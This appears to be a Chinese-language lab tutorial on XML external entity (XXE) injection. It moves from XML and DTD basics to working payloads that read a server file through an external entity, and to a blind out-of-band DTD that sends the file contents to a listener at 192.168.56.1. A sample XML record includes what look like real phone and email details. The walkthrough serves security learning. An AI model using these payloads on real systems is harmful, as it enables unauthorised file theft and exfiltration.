xxe漏洞
xml外部实体化注入漏洞
xml实例
xml文档实例
<?xml version="1.0" encoding="UTF-8"?> //文档头
<site>//副标签
<name>RUNOOB</name>//字标签
<url>https://www.runoob.com</url>
<logo>runoob-logo.png</logo>
<desc>编程学习网站</desc>
</site>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ELEMENT person (#PCDATA|name|addr|tel|email)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT email (#PCDATA)>
]> -- dtd
<person>Chan
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<email>1368628966@qq.com</email>
<email>18701772821@163.com</email>
</person> -- xml
这里的dtd就是xml的内部实体
在xml中所有的标签名称都可以自定义
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> -- 外部包含
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
了解完这些就可以尝试判断靶场中是否存在xxe
xxe回显文件读取
传入
<a>aaaaa<a>
查看回显
得知,回显式xxe
可以尝试引入外部实体读取文件
<?xml version="1.0"?>
<!DOCTYPE as [
<!ENTITY f SYSTEM "/www/wwwroot/pk/.user.ini">
]>
<a>&f;</a>
读取成功
通过外部实体读取文件需要知道文件的绝对路径
<?xml version="1.0"?>
<!DOCTYPE as [
<!ENTITY f SYSTEM "/www/wwwroot/pk/.user.ini">]>
<a>&f;</a>
也可以通过http协议读取文件信息。
xxe无回显文件读取
当xxe无回显时,可以尝试通过协议外带信息
payload:
test.dtd
<!ENTITY % file SYSTEM "file:///www/wwwroot/pk/.user.ini">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.56.1:8082/%file;'>">
%all;
load
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://192.168.56.1:8000/test.dtd">
%remote;
%send;
]>
在dtd文件中实体file通过file://伪协议读取本地信息,第二个实体all定义了一个内部实体send,他用于发起一个http请求,并且file的参数被传入了url后面
当这个DTD被解析时,file 实体会加载指定文件的内容,然后 all 实体的扩展会导致 send 实体被解析,尝试向指定的URL发送一个HTTP请求,请求的路径中包含 file 实体加载的文件内容
我们只要监听端口就可以获得文件的信息